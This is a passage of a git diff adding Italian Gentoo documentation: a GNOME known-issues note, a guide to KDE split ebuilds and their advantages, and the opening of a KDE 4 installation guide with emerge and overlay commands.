+<body>
+
+<p>
+Leggere le <uri
+link="http://library.gnome.org/misc/release-notes/2.26/">Note di rilascio di
+GNOME 2.26</uri> per consultare tutte le altre novità di questo importante
+rilascio di GNOME.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Problemi noti</title>
+<section>
+<title>Nautilus si riavvia continuamente</title>
+<body>
+
+<p>
+A seguito della riscrittura di gnome-session, <c>gnome-base/nautilus</c> è
+considerato una parte fondamentale del desktop di GNOME. Tuttavia, configurando
+nautilus in modo da non fargli gestire il desktop si otterrà un errato
+comportamento di <c>gnome-base/gnome-session</c>, che creerà ripetutamente
+istanze multiple di nautils in fase di login.
+</p>
+
+<p>
+Attualmente la soluzione temporanea al problema è di <b>non</b> configurare
+nautilus in tale modo. Vedere il <uri link="http://bugs.gentoo.org/266398">bug
+#266398</uri> per aggiornamenti su questo problema.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/desktop/kde/kde-split-ebuilds.xml b/xml/htdocs/proj/it/desktop/kde/kde-split-ebuilds.xml
new file mode 100644
index 00000000..23b4146a
--- /dev/null
+++ b/xml/htdocs/proj/it/desktop/kde/kde-split-ebuilds.xml
@@ -0,0 +1,501 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/desktop/kde/kde-split-ebuilds.xml,v 1.3 2008/11/27 22:04:11 scen Exp $ -->
+
+<guide link="/proj/it/desktop/kde/kde-split-ebuilds.xml" lang="it">
+<title>Guida agli Ebuild "split" (suddivisi) di KDE</title>
+
+<author title="Autore">
+  <mail link="danarmak@gentoo.org">Dan Armak</mail>
+</author>
+<author title="Redazione">
+  <mail link="greg_g@gentoo.org">Gregorio Guidi</mail>
+</author>
+<author title="Redazione">
+  <mail link="philantrop@gentoo.org">Wulf C. Krueger</mail>
+</author>
+<author title="Traduzione">
+  <mail link="posta@massimo.biz">Massimo Canali</mail>
+</author>
+<author title="Traduzione">
+  <mail link="cristiano.chiucchiolo@gmail.com">Cristiano Chiucchiolo</mail>
+</author>
+<author title="Traduzione">
+  <mail link="scen@gentoo.org">Davide Cendron</mail>
+</author>
+
+<abstract>
+Con KDE 3.4 sono stati introdotti in Portage gli ebuild 'split' (suddivisi).
+Questa guida spiega i motivi di questo cambiamento, le nuove caratteristiche
+introdotte e come migrare dalla vecchia configurazione monolitica.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.13</version>
+<date>2008-11-22</date>
+
+<chapter>
+<title>Gli Ebuild 'suddivisi' di KDE</title>
+<section>
+<title>Di cosa si tratta?</title>
+<body>
+
+<p>
+Fino a Gennaio 2005 gli unici ebuild di KDE disponibili in Portage erano quelli
+'monolitici'. Questo significa che c'erano solo 15 ebuild (<c>kdebase</c>,
+<c>kdenetwork</c>, ...) e ciascuno installava diverse applicazioni che, di
+fatto, non dipendevano l'una dall'altra. Questa era una situazione non
+esattamente ottimale, e non in stile Gentoo, ma accettata per diverso tempo.
+</p>
+
+<p>
+I nuovi ebuild 'split' (ndT. di seguito definiti 'suddivisi') (per
+<c>konqueror</c>, <c>kmail</c>, ...) hanno rimediato a questa situazione
+introducendo gli ebuild per le singole applicazioni di KDE. Questo porta gli
+ebuild della categoria kde-base ad un totale di 330.
+</p>
+
+<p>
+Gli ebuild monolitici di KDE sono ancora disponibili per la versione 3.5 di KDE
+(fino alla versione 3.5.9) e possono interagire in maniera trasparente con
+quelli suddivisi. Tuttavia quest'ultimi sono il nuovo standard e dopo KDE 3.5.9
+quelli monolitici non saranno più disponibili.
+</p>
+
+<p>
+Infine, si segnala che esistono gli ebuild suddivisi anche per Koffice, i quali
+mettono a disposizione <c>kword</c>, <c>kugar</c>, ecc. come pacchetti separati.
+</p>
+
+</body>
+</section>
+<section>
+<title>Installare gli ebuild suddivisi</title>
+<body>
+
+<p>
+L'ultima versione stabile di KDE disponibile alla stesura di questo documento è
+la 3.5.9. L'ultima instabile (~arch) è la 3.5.10. Portage offre entrambe le
+opportunità di installazione, suddivisa e monolitica. Anche la versione 4.1.x è
+presente nell'albero di portage.
+</p>
+
+<ul>
+  <li>
+    Per installare un particolare pacchetto, per esempio kmail, è sufficiente
+    eseguire <c>emerge kmail</c>.
+  </li>
+  <li>
+    Per installare l'ambiente base di KDE, che consente il login a una sessione
+    minimale, <c>emerge kdebase-startkde</c>.
+  </li>
+  <li>
+    Infine, per ottenere lo stesso effetto di uno dei pacchetti monolitici
+    usando gli ebuild suddivisi - per esempio, per avere tutte le applicazioni
+    incluse in <c>kdebase</c> - eseguire <c>emerge kdebase-meta</c> (oppure
+    <c>kdepim-meta</c>, ecc.). Per ottenere tutti gli ebuild suddivisi di KDE,
+    eseguire <c>emerge kde-meta</c>.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Migrare dagli ebuild monolitici a quelli suddivisi</title>
+<body>
+
+<p>
+Se è installata la versione 3.4.x o 3.5.x. monolitica bisogna prima rimuoverla
+per poi installare gli ebuild suddivisi desiderati. Il processo di
+rimozione/installazione può essere eseguito per ciascuno degli ebuild
+monolitici; non è necessario rimuovere KDE in blocco.
+</p>
+
+<p>
+Nel dubbio, ricordarsi che esistono delle dipendenze bloccanti tra ciascun
+ebuild monolitico e gli ebuild suddivisi che ne derivano. Portage impedirà
+automaticamente situazioni non consentite e permetterà di eseguire solo
+operazioni lecite.
+</p>
+
+</body>
+</section>
+<section>
+<title>Vantaggi degli ebuild suddivisi</title>
+<body>
+
+<p>
+Ecco un breve elenco dei vantaggi che si ottengono passando agli ebuild
+suddivisi:
+</p>
+
+<ul>
+  <li>
+    La maggior parte dei pacchetti di KDE non subisce aggiornamenti da un
+    rilascio minore all'altro. Ad esempio, l'aggiornamento dalla versione 3.3.1
+    alla 3.3.2 ha coinvolto meno di 100 pacchetti su 320. I pacchetti suddivisi
+    permettono di aggiornare gli ebuild che sono effettivamente cambiati,
+    facendo risparmiare (in questo caso) più di due terzi del tempo necessario
+    all'aggiornamento.
+  </li>
+  <li>
+    Le patch solitamente riguardano un pacchetto specifico. Con gli ebuild
+    suddivisi esse possono essere testate, approvate e rilasciate più
+    rapidamente impegnando di meno gli sviluppatori: come accennato in
+    precedenza, l'utente impiegherà meno tempo per gli aggiornamenti. Questo
+    fatto diventa ancora più importante per gli aggiornamenti di sicurezza.
+  </li>
+  <li>
+    Chi usa altri ambienti desktop o Window Managers più leggeri può installare
+    solo le applicazioni di KDE che preferisce senza doversi sobbarcare il
+    carico (piuttosto pesante) di tutto il resto, di <c>kdebase</c> o di
+    <c>kdepim</c>, per esempio.
+  </li>
+  <li>
+    È possibile organizzare al meglio l'installazione dei pacchetti. Per diversi
+    motivi:
+    <ul>
+      <li>
+        Problemi di tempo. <c>emerge kdebase kdepim kdenetwork</c> richiede
+        troppo tempo se tutto quello che occorre è <c>konqueror</c>,
+        <c>kmail</c> e <c>kopete</c>. Inoltre, in certi casi il tempo di calcolo
+        della CPU è denaro.
+      </li>
+      <li>
+        Problemi di spazio. Ogni pacchetto inutilizzato va a intasare lo spazio
+        tra i settori del proprio disco. Un disco con più spazio disponibile
+        respira meglio: è un disco che corre felice.
+      </li>
+      <li>
+        Problemi di sicurezza. Ogni pacchetto installato è una potenziale falla
+        nella sicurezza del sistema e quando i punti deboli si trovano nel
+        software inutilizzato non ci sono scuse.
+      </li>
+      <li>
+        Si è devoti sostenitori della <uri
+        link="/main/it/philosophy.xml">Filosofia di Gentoo</uri>, e non si
+        riesce a sopportare che un povero utente sia costretto ad installare
+        contro la propria volontà una serie di pacchetti che magari non userà.
+        (Non lo sopportano neanche gli sviluppatori Gentoo).
+      </li>
+    </ul>
+  </li>
+  <li>
+    Infine, gli ebuild suddivisi permettono una maggiore flessibilità delle flag
+    USE durante la compilazione.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Integrazione tra ebuild suddivisi ed ebuild monolitici</title>
+<body>
+
+<p>
+Ebuild monolitici e suddivisi possono essere mischiati liberamente. Con una sola
+restrizione: un ebuild monolitico ed uno suddiviso derivante da esso non possono
+essere installati contemporaneamente. Per questo motivo gli ebuild sono
+vincolati da dipendenze bloccanti: si può fare solo ciò che emerge permette.
+</p>
+
+<p>
+Di solito, però, non c'è ragione di usare una configurazione così variegata.
+Infatti, si dovrebbero usare soltanto gli ebuild suddivisi ad eccezione di
+particolari casi di macchine molto lente (mips).
+</p>
+
+<p>
+Inoltre gli ebuild suddivisi sono quelli predefiniti. Questo significa che
+quando un ebuild dipende da un'altra applicazione di KDE, cercherà di installare
+uno ebuild suddiviso. Tuttavia, anche il corrispondente ebuild monolitico
+soddisferà quella dipendenza, e sarà così possibile installare manualmente
+l'ebuild monolitico e quindi l'ebuild che dipende da esso.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Questione di prestazioni</title>
+<section>
+<title>Perchè gli ebuild suddivisi sono lenti</title>
+<body>
+
+<p>
+In precedenza è stato <uri
+link="http://bugs.gentoo.org/show_bug.cgi?id=11123">detto</uri> che gli ebuild
+suddivisi avrebbero impiegato più tempo degli emerge di quelle monolitici per il
+carico di lavoro maggiore dovuto all'estrazione e alla configurazione da
+ripetere per ciascun pacchetto. Un <c>emerge kde-meta</c> completo può
+richiedere il 20-30% del tempo in più di un classico <c>emerge kde</c>,
+inaccettabile per una compilazione già di per se lunga.
+</p>
+
+<p>
+Non solo. Ora come ora gli ebuild suddivisi eseguono sempre <c>make -f
+admin/Makefile.cvs</c> (significa che verranno eseguiti autoconf, automake,
+ecc. e una serie di altri script correlati a KDE). Questo comporta un ulteriore
+rallentamento, paragonabile all'esecuzione di configure.
+</p>
+
+<p>
+Inoltre, uno ebuild suddiviso deve estrarre file specifici da un grosso
+archivio. Questo processo è più lento di quello che servirebbe per decomprimere
+un piccolo archivio, specifico per l'applicazione. Tuttavia, creare simili
+archivi per il sistema di compilazione di KDE 3.x, basato sugli autotools, non è
+affatto semplice.
+</p>
+
+<p>
+Vale la pena di ripetere che con gli ebuild suddivisi il tempo di compilazione
+degli aggiornamenti di KDE sarà notevolmente ridotto, aggiornando solo i
+pacchetti che sono effettivamente cambiati. I vantaggi di uno solo di questi
+aggiornamenti ripaga ampiamente del tempo richiesto dalla prima installazione.
+</p>
+
+<p>
+Infine, l'installazione completa di KDE ha senso quando si vogliono valutare
+tutti i pacchetti disponibili o quando si vuole configurare un ambiente
+multiutente; tuttavia, molte persone usano solo una parte delle 300 e più
+applicazioni offerte da KDE. Chiunque si preoccupi veramente della durata delle
+compilazioni, come i possessori di macchine un po' datate, può guadagnare più
+tempo con l'installazione selettiva dei pacchetti di quanto ne perda per il
+carico supplementare di lavoro.
+</p>
+
+</body>
+</section>
+<section>
+<title>Miglioramenti alle prestazioni degli ebuild suddivisi</title>
+<body>
+
+<p>
+La maggior parte, o addirittura la totalità dei problemi di velocità degli
+ebuild suddivisi, è legata agli autotools - autoconf, automake ed altri
+strumenti che gestiscono il sistema di compilazione <c>./configure; make; make
+install</c> usato in KDE 3.x.
+</p>
+
+<p>
+KDE 4 ha adottato un sistema di compilazione completamente nuovo, cmake, che tra
+le altre cose riduce di molto il tempo impiegato dal del comando equivalente
+<c>make -f admin/Makefile.common; ./configure</c>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Domande frequenti per gli ebuild suddivisi</title>
+<section>
+<title>Perché alcuni pacchetti suddivisi non hanno ebuild delle ultime
+versioni?</title>
+<body>
+
+<p>
+Come spiegato in precedenza, non tutte le applicazioni vengono realmente
+aggiornate tra rilasci minori di KDE, e quindi non tutte le applicazioni
+ricevono nuove versioni di ebuild. Per esempio, libkdenetwork non è stato
+aggiornato nella versione 3.5.0_beta2, quindi l'ultimo ebuild disponibile per
+quella release è il 3.5_beta1.
+</p>
+
+<p>
+Questo viene fatto solo per ridurre il tempo di compilazione durante un
+aggiornamento. Se fosse stato fatto fatto un ebuild libkdenetwork-3.5.0_beta2,
+esso avrebbe installato esattamente gli stessi file della versione 3.5_beta1. Le
+varie dipendenze vengono aggiornate per funzionare correttamente (ad esempio
+nessun ebuild dipenderà da libkdenetwork-3.5.0_beta2).
+</p>
+
+<p>
+Notare che, di conseguenza, se si vuole installare una versione mascherata di
+KDE, bisognerà anche smascherare i pacchetti da una versione precedente di KDE,
+se a loro volta sono mascherati. È consigliabile leggere <uri
+link="https://bugs.gentoo.org/125126">questo bug</uri> per maggiori dettagli.
+</p>
+
+</body>
+</section>
+<section>
+<title>Esiste già l'opzione DO_NOT_COMPILE: non produce lo stesso
+effetto?</title>
+<body>
+
+<p>
+DO_NOT_COMPILE è una variabile interna all'ambiente di compilazione di KDE.
+Permette di scegliere quali sottodirectory non devono essere compilate. Tale
+funzione viene già utilizzata per compilare solo una parte dell'ebuild
+monolitico di KDE. Ad esempio con <c>DO_NOT_COMPILE=konqueror emerge kdebase</c>
+si installa kdebase senza <c>konqueror</c>.
+</p>
+
+<p>
+Ad ogni modo, l'uso di DO_NOT_COMPILE non deve interferire con le operazioni
+di uno strumento per la gestione automatica dei pacchetti. Non funziona, può
+portare a problemi di sistema e non è mai stato supportato. Si raccomanda
+vivamente di non usarlo.
+</p>
+
+<p>
+Ecco un elenco incompleto dei problemi causati da DO_NOT_COMPILE:
+</p>
+
+<ul>
+  <li>
+    Rovina completamente la gestione delle dipendenze di Portage. Portage non è
+    a conoscenza di DO_NOT_COMPILE e pensa che l'intero pacchetto monolitico sia
+    stato installato e che possa soddisfare le dipendenze di altri pacchetti.
+    Ciò causerà il fallimento dell'installazione o dell'esecuzione di altri
+    pacchetti.
+  </li>
+  <li>
+    Costringe l'utente a conoscere il nome e il significato di tutte le
+    sottodirectory dei moduli di KDE. Pochi sono in grado di farlo, a meno che
+    non siano sviluppatori di KDE: per questo è quasi impossibile fare un uso
+    corretto di DO_NOT_COMPILE.
+  </li>
+  <li>
+    Le sottodirectory dei moduli di KDE possono dipendere l'una dall'altra,
+    possono richiedere un ordine di compilazione ben preciso, possono richiedere
+    la presenza di un altra directory magari non effettivamente installata, e
+    così via. È stato fatto un gran lavoro per rendere funzionanti gli ebuild
+    suddivisi. DO_NOT_COMPILE non raggiunge gli stessi risultati, neanche con
+    una sufficiente conoscenza da parte dell'utente. Tutto quello che si può
+    ottenere con questo metodo è di evitare di compilare solo una piccola parte
+    delle applicazioni. È praticamente impossibile usarlo per installare solo
+    <c>kdebase</c> e <c>kdepim</c>, per esempio.
+  </li>
+  <li>
+    Se ieri è stato installato kmail e oggi si vuole installare korn, usando
+    DO_NOT_COMPILE si sarà comunque costretti a ricompilare kmail. Questo
+    significa che DO_NOT_COMPILE resta comunque meno prestante degli ebuild
+    suddivisi.
+  </li>
+  <li>
+    DO_NOT_COMPILE non può essere usato per creare pacchetti precompilati (come
+    GRP) che contengono singole applicazioni di KDE.
+    </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Non si stanno caricando troppo i mantenitori KDE di Gentoo?</title>
+<body>
+
+<p>
+È sorprendente vedere quanti pongano questa domanda. Gli sviluppatori sono
+felici che gli utenti li tengano così in considerazione. Si coglie l'occasione
+per assicurare quest'ultimi che gli sviluppatori si stanno occupando degli
+ebuild suddivisi per libera scelta, e che pensano di essere in grado di
+continuare a migliorarli, senza alcuna possibilità di essere dissuasi :-)
+</p>
+
+<p>
+Per la verità c'è da dire che i mantenitori delle altre architetture si sono
+lamentati per l'aumento del lavoro di test dovuto a così tanti ebuild separati.
+Si sta lavorando per risolvere questo problema e questo è il motivo principale
+per cui gli ebuild monolitici saranno ancora disponibili per KDE 3.5.
+</p>
+
+</body>
+</section>
+<section>
+<title>C'è l'intenzione di eliminare gli ebuild vecchio stile (quelli
+monolitici)?</title>
+<body>
+
+<p>
+Gli sviluppatori sono intenzionati a farlo, ma più avanti. Comunque, ci saranno
+ebuild suddivisi e ebuild monolitici per tutte le versioni 3.x di KDE fino alla
+3.5.9. Per KDE 3.5.10 e versioni successive, e per KDE4, non verranno più
+forniti ebuild monolitici.
+</p>
+
+<p>
+Se si preferiscono gli ebuild monolitici a quelli suddivisi, si prega di <uri
+link="http://bugs.gentoo.org">far sapere</uri> il motivo ai rispettivi
+sviluppatori.
+</p>
+
+</body>
+</section>
+<section>
+<title>Ci sono troppi ebuild! Come si può trovare quello di cui si ha
+bisogno?</title>
+<body>
+
+<p>
+Prima di tutto, nel momento in cui il pacchetto che si sta cercando fa parte di
+kdebase, è ancora possibile eseguire <c>emerge kdebase-meta</c>, con lo stesso
+risultato di <c>kdebase</c> monolitico. In realtà le cose non sono peggiorate
+a causa degli ebuild suddivisi.
+</p>
+
+<p>
+Naturalmente tutti i metodi tradizionali per individuare un pacchetto restano
+validi. Come trovare il proprio ebuild facente parte di Gnome? Come minimo
+bisognerebbe conoscerne il nome.
+</p>
+
+<p>
+Forse la situazione potrebbe essere migliorata introducendo più ebuild -meta.
+Sono soltanto liste di dipendenze, e non costerebbe nulla. Questo non è ancora
+stato deciso. Inoltre, sarebbe meglio avere la funzionalità "sets" (insiemi) in
+Portage prima che sia reso estensivo.
+</p>
+
+</body>
+</section>
+<section>
+<title>Come si può elencare oppure eseguire l'unmerge di tutti gli ebuild
+suddivisi che derivano da un determinato pacchetto?</title>
+<body>
+
+<p>
+L'obiettivo è elencare tutti gli ebuild suddivisi di KDE che derivano, per
+esempio, dall'ebuild monolitico <c>kdebase</c>. L'implementazione più corretta
+(come <uri link="/proj/en/glep/glep-0021.html">GLEP 21</uri>) può essere banale.
+Tuttavia bisognerebbe essere in qualche modo a conoscenza dell'implementazione
+delle eclass di KDE, così, se per caso si utilizza uno di questi approcci in
+qualche script che non sia per uso privato, farlo sapere agli sviluppatori.
+</p>
+
+<p>
+kde-functions.eclass definisce delle funzioni chiamate get-parent-package() e
+get-child-packages(); saranno loro ad eseguire il lavoro al proprio posto.
+Queste due funzioni sono il modo corretto per eseguire quanto detto prima a
+partire da una ebuild o da uno script bash esterno. Ecco un esempio:
+</p>
+
+<pre caption="Esempio d'uso delle funzioni kde-functions">
+$ <i>function die() { echo $@; } </i> <comment># invocato per riportare eventuali errori</comment>
+$ <i>source /usr/portage/eclass/kde-functions.eclass</i>
+$ <i>get-parent-package konqueror</i> <comment># così non funziona: bisogna specificare il nome completo</comment>>
+Package konqueror not found in KDE_DERIVATION_MAP, please report bug <comment># l'errore viene riportato</comment>
+$ <i>get-parent-package kde-base/konqueror</i> <comment># il nome è stato indicato correttamente</comment>
+kde-base/kdebase <comment># viene riportato il risultato</comment>
+$ <i>get-child-packages kde-base/kdebase</i>
+<comment> # (segue l'elenco dei pacchetti)</comment>
+</pre>
+
+<p>
+Se non si sta usando uno script bash, è possibile passare kde-functions.eclasses
+a grep per estrarre la definizione (multilinea) della variabile
+KDE_DERIVATION_MAP, usata dalla funzione summenzionata. Questa variabile
+contiene una lista di parole separate da spazi: ogni coppia di parole lega un
+pacchetto padre all'ebuild suddiviso figlio.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/desktop/kde/kde4-guide.xml b/xml/htdocs/proj/it/desktop/kde/kde4-guide.xml
new file mode 100644
index 00000000..5bf4785e
--- /dev/null
+++ b/xml/htdocs/proj/it/desktop/kde/kde4-guide.xml
@@ -0,0 +1,733 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/desktop/kde/kde4-guide.xml,v 1.8 2010/08/25 20:52:09 scen Exp $ -->
+
+<guide lang="it">
+<title>Guida a KDE per Gentoo</title>
+
+<author title="Autore">
+  <mail link="tampakrap"/>
+</author>
+<author title="Autore">
+  <mail link="scarabeus"/>
+</author>
+<author title="Autore">
+  <mail link="jmbsvicetto"/>
+</author>
+<author title="Autore">
+  <mail link="cryos"/>
+</author>
+<author title="Redazione">
+  <mail link="keytoaster"/>
+</author>
+<author title="Redazione">
+  <mail link="nightmorph"/>
+</author>
+<author title="Traduzione">
+  <mail link="scen"/>
+</author>
+
+<abstract>
+Questa guida spiega come installare e configurare KDE SC usando le ebuild
+disponibili nell'albero di Portage. Potrebbero venire usati, inoltre, alcuni
+strumenti provenienti dall'overlay git del team KDE (kde).
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>2</version>
+<date>2010-08-14</date>
+
+<chapter>
+<title>KDE 3</title>
+<section>
+<title>Brevi informazioni</title>
+<body>
+
+<p>
+KDE 3 non viene più mantenuto dagli sviluppatori del progetto KDE, e la versione
+3.5.10 rimane il loro ultimo rilascio. Inoltre, la maggior parte delle
+applicazioni per KDE3 non sono più mantenute, in quanto sono già state
+convertite per KDE4, o la loro conversione è in fase di esecuzione.
+</p>
+
+<p>
+In Gentoo, le ebuild di KDE 3 sono state rimosse dall'albero di Portage, e sono
+state spostate nell'overlay (gestito da utenti) chiamato <uri
+link="http://git.overlays.gentoo.org/gitweb/?p=proj/kde-sunset.git;a=summary">
+kde-sunset</uri> (disponibile tramite layman). Tenere bene a mente che questo
+overlay è gestito solamente da utenti, e gli attuali membri del team KDE non
+hanno nessuna responsabilità per il suo contenuto. Se si è interessati a
+co-mantenerlo, è possibile inviare un'email a <mail link="overlays"/>
+chiedendo l'accesso per i commit. Se si vuole segnalare un bug per questo
+overlay, non utilizzare l'interfaccia Bugzilla di Gentoo. Usare invece la
+mailing list <uri
+link="http://archives.gentoo.org/gentoo-desktop/">gentoo-desktop</uri>. Le
+istruzioni su come iscriversi sono disponibili <uri
+link="/main/it/lists.xml">qui</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>KDE 4 SC</title>
+<section>
+<title>Introduzione</title>
+<body>
+
+<p>
+KDE 4 SC è la versione corrente di KDE supportata dagli sviluppatori
+dell'omonimo progetto. In Portage è presente una versione stabile, e potrebbe
+esserci una (o più) versioni non stabili. In condizioni normali le nuove
+versioni vengono stabilizzate dopo un mese. Le versioni di KDE 4 SC attualmente
+disponibili in Portage sono la 4.4.5 (considerata stabile sia dal progetto KDE
+che da Gentoo). In aggiunta, gli sviluppatori di KDE forniscono degli <uri
+link="ftp://ftp.kde.org/pub/kde/unstable">snapshot</uri> ("fotografie", ndt)
+settimanali e i sorgenti più recenti tramite un <uri
+link="http://websvn.kde.org">repository SVN</uri>. Il team KDE di Gentoo
+fornisce le ebuild per gli snapshot e per i più recenti sorgenti del repository
+SVN (quest'ultima tipologia di ebuild viene definita "live", ndt) attraverso
+l'overlay <c>kde</c>.
+</p>
+
+<p>
+È possibile scegliere la versione di KDE SC ritenuta più appropriata alle
+proprie esigenze:
+</p>
+<table>
+  <tr>
+    <ti>
+      <uri link="#kde_portage">KDE SC tramite Portage (attualmente 4.4.5)</uri>
+    </ti>
+  </tr>
+  <tr>
+    <ti>
+      <uri link="#snapshots">snapshot KDE SC (attualmente 4.4.XX)</uri>
+    </ti>
+  </tr>
+  <tr>
+    <ti>
+      <uri link="#live">ebuild KDE "live" (attualmente 4.4.9999, 4.5.9999,
+      9999)</uri> (sorgenti da repository SVN, ndt)
+    </ti>
+  </tr>
+</table>
+
+</body>
+</section>
+<section id="kde_portage">
+<title>Installare KDE SC 4.4.5 (da Portage)</title>
+<body>
+
+<note>
+Per ridurre al minimo gli inconvenienti si raccomanda di partire con un
+ambiente pulito. Leggere la sezione <uri link="#cleanup">Pulizia di KDE</uri>
+per ulteriori informazioni.
+</note>
+
+<p>
+L'installazione può essere eseguita sia usando i meta pacchetti sia usando i
+"set" (insiemi di pacchetti, ndt).
+</p>
+
+<pre caption="Installazione di KDE usando i meta pacchetti">
+# <i>emerge -av kde-meta:4.4</i> <comment>(contiene tutti i moduli di KDE)</comment>
+# <i>emerge -av kdebase-meta:4.4 kdegames-meta:4.4</i> <comment>(installazione dei soli moduli prescelti)</comment>
+</pre>
+
+<p>
+Per l'installazione tramite i "set" passare alla sezione <uri
+link="#sets">Utilizzo dei Set</uri>.
+</p>
+
+<note>
+KDE SC 4.5.0, il rilascio più recente di KDE Software Compilation, non verrà
+incluso nell'albero di portage in quanto sono presenti alcuni bug assenti nella
+versione precedente, tra cui:
+<uri link="https://bugs.kde.org/show_bug.cgi?id=230247">Bug nella notifica
+d'avvio di akonadi</uri>
+<uri link="https://bugs.kde.org/show_bug.cgi?id=243991">Video composito non
+funnzionante su NVidia/TwinView</uri>
+<uri link="https://bugs.kde.org/show_bug.cgi?id=247144">bug nella visualizzione
+delle cartelle in Plasma</uri>
+<uri link="https://bugs.kde.org/show_bug.cgi?id=245491">bug dei suggerimenti in
+Dolphin, corretto nella versione 4.5.1</uri>
+Ci sono altre numerose imperfezioni nella barra di sistema e nelle aree di
+notifiche Plasma e una regressione di KTar (kdelibs) corretta nella versione
+4.5.1. Rilasciare una versione di KDE SC contenente bug conosciuto causerebbe
+soloamente duplicati in bugs.kde.org.
+</note>
+
+</body>
+</section>
+<section id="snapshots">
+<title>Installare gli snapshot di KDE 4.4.XX (dall'overlay kde)</title>
+<body>
+
+<p>
+Attualmente, KDE SC (dal ramo trunk) risulta essere troppo malfunzionante,
+specialmente il modulo KDEPIM. Questo succede perchè la modalità
+dimemorizzazione dei messaggi in kmail sta per essere portata su akonadi, che
+richiederà un po' di tempo. Pertanto, è stato deciso nella <uri
+link="meeting-logs/kde-project-meeting-summary-20100225.txt">riunione</uri> di
+Febbraio di non fornire alcuno snapshot fino a che KDEPIM non sarà nuovamente
+usabile.
+</p>
+
+</body>
+</section>
+<section id="live">
+<title>Installare le ebuild "live" di KDE SC (dall'overlay kde)</title>
+<body>
+
+<warn>
+Le ebuild "live" di KDE sono <b>versioni estremamente sperimentali</b>. Usarle a
+proprio rischio e pericolo.
+</warn>
+
+<p>
+KDE SC è Open Source, con tutto il suo codice disponibile alla consultazione
+attraverso l'interfaccia <uri link="http://websvn.kde.org">KDE Websvn</uri> e al
+checkout pubblico attraverso un account anonimo (anonsvn). Gentoo, in quanto
+distribuzione basata su sorgenti, ha l'abilità di fornire ebuild "live" che
+effettuano il checkout del codice sia dal ramo ("branch") più recente che da
+quello principale (trunk). Attualmente, vengono forniti gli ebuild 4.4.9999 dal
+ramo 4.4.
+</p>
+
+<table>
+<tr>
+ <th>Versione Ebuild</th>
+ <th>Versione KDE SC</th>
+</tr>
+<tr>
+ <ti>4.4.9999</ti>
+ <ti>KDE 4.4.Branch</ti>
+ </tr>
+<tr>
+  <ti>4.5.9999</ti>
+  <ti>KDE 4.5 Branch</ti>
+</tr>
+<tr>
+ <ti>9999</ti>
+ <ti>KDE 4 Trunk</ti>
+</tr>
+</table>
+
+<note>
+Per ridurre al minimo gli inconvenienti si raccomanda di partire con un
+ambiente pulito. Leggere la sezione <uri link="#cleanup">Pulizia di KDE</uri>
+per ulteriori informazioni.
+</note>
+
+<note>
+È necessario l'utilizzo di portage-2.2_rc*, pertanto aggiungere la voce
+<c>~sys-apps/portage</c> al proprio file
+<path>/etc/portage/package.unmask</path>.
+</note>
+
+<p>
+Le ebuild "live" sono disponibili solamente tramite l'overlay
+<c>kde</c>, perciò come prima cosa bisognerà installarlo nel proprio
+sistema:
+</p>
+
+<pre caption="Installare l'overlay kde">
+# <i>layman -f -a kde</i>
+<comment>Per maggiori informazioni riguardanti gli overlay, si prega di leggere
+la <uri link="/proj/it/overlays/userguide.xml">Guida per gli Utenti agli Overlay Gentoo
+</uri></comment>
+</pre>
+
+<p>
+Gli utenti con sistemi stabili, per poter proseguire, devono aggiungere le
+keyword necessarie per i pacchetti (per permettere l'installazione delle
+versioni instabili, ndt). L'overlay <c>kde</c> fornisce un file
+package.keywords, che dovrà essere collegato in modo simbolico alla propria
+directory package.keywords:
+</p>
+
+<pre caption="Creare il collegamento simbolico del file kde-4.X.9999.keywords o
+kde-live">
+# <i>cd /etc/portage/package.keywords</i>
+# <i>ln -s /percorso/all/overlay/kde/Documentation/package.keywords/kde-4.4.9999.keywords
+.</i><comment>(per il ramo (Branch) 4.4 )</comment>
+# <i>ln -s /path/to/overlay/kde/Documentation/package.keywords/kde-4.5.9999.keywords
+.</i><comment>(per il ramo (Branch) 4.5 )</comment>
+# <i>ln -s /percorso/all/overlay/kde/Documentation/package.keywords/kde-live.keywords
+.</i><comment>(per il ramo (Trunk) KDE)</comment>
+<comment>Sostituire /percorso/all/overlay/ con la directory contenente l'overlay</comment>
+</pre>
+
+<p>
+L'installazione può essere eseguita sia usando i meta pacchetti sia usando i
+"set" (insiemi di pacchetti, ndt).
+</p>
+
+<pre caption="Installazione delle ebuild live di KDE usando i meta pacchetti">
+<comment>(Per il ramo (Branch) KDE SC 4.4)</comment>
+# <i>emerge -av kde-meta:4.4</i> <comment>(contiene tutti i moduli di KDE)</comment>
+# <i>emerge -av kdebase-meta:4.4 kdegames-meta:4.4</i> <comment>(installazione dei soli moduli prescelti)</comment>
+<comment>(Per il ramo (Branch) KDE SC 4.5)</comment>
+# <i>emerge -av kde-meta:4.5</i> <comment>(contiene tutti i moduli di KDE)</comment>
+# <i>emerge -av kdebase-meta:4.5 kdegames-meta:4.5</i> <comment>(installation of chosen modules only)</comment>
+<comment>(Per il ramo (Trunk))</comment>
+# <i>emerge -av kde-meta:live</i> <comment>(contiene tutti i moduli di KDE)</comment>
+# <i>emerge -av kdebase-meta:live kdegames-meta:live</i> <comment>(installazione dei soli moduli prescelti)</comment>
+</pre>
+
+<pre caption="Installazione delle ebuild live di KDE usando i set">
+<comment>(Per il ramo (Branch) KDE SC 4.4)</comment>
